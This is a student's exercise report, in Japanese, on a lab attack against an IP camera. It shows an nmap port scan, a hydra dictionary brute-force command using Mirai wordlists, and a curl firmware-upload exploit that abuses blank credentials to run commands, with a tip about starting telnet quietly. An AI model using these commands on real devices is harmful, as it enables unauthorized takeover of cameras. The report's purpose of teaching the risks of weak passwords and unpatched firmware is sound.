演習 2

1270360:稗田隼也

1 月 21 日

1　安易なパスワードの危険性

安易なパスワードを使うことで辞書型攻撃などの攻撃で容易にパスワードを知ることができ、不正アクセスをされる危険性がある。今回は一連の流れについて学んだことを説明する。

2　方法

今回行うのは ip カメラの攻撃についてだ。流れとしてポートスキャンにより、ip カメラが動いているポートを特定し、アクセスする。今回は、攻撃用の踏み台サーバーに入ることで行うので今現在の pc で url からアクセスできるかも知れないが、今回は ssh 転送を使い、自分のローカルホストからアクセスする。アクセスすると、ユーザー名とパスワードが要求されるので、辞書型攻撃を使い、特定する。特定できた情報を入力することでアクセスできる。

Listing 1　switch

```
1    nmap -Pn -n -A -p- <ipカメラのIPアドレス>
```

nmap を使用することで指定の ip のサービスとポートを特定できる。

Listing 2　switch

```
1    hydra -t 5 -L /opt/iot/mirai/user.txt -P
2    /opt/iot/mirai/pass.txt http-get://<ipカメラのIPアドレス>:特定できたポート/
```

hydra を使うことで登録されている辞書のデータを参照して総当りができる。以上の作業を行うことで、不正にアクセスできてしまう。そのためパスワードを設定するときは辞書にないようなパスワードにする必要がある。

3　アップデートをしない危険性

また、アップデートを行わないことで発見された脆弱性がそのままになり、とても危険な状態になる。今回はその例を実験した。

4　方法

ip カメラには外部からアップデートファイルを送って実行させる際パスワードが必要だが、空欄で実行できてしまう脆弱性が存在する。

Listing 3　switch

```
1　　curl -X POST -F “file1=@fw.bin;filename=fw.bin”
2　　“http://<機器のIPアドレス>:45678/upgrade_firmware.cgi?loginuse&loginpas”
```

curl を実行することで指定の動作をリクエストできる。リクエストするファイルに実行させたいコマンドを記述することで実行できてしまう。ただし、アップデートファイルに忍ばせる関係上、再起動してしまうので怪しまれないために telnet サーバーを起動させるような実行をさせることが多い。

5　演習の感想

今回の演習で、特に、アップデートをしないことで生まれる脆弱性の恐ろしさについて学べた。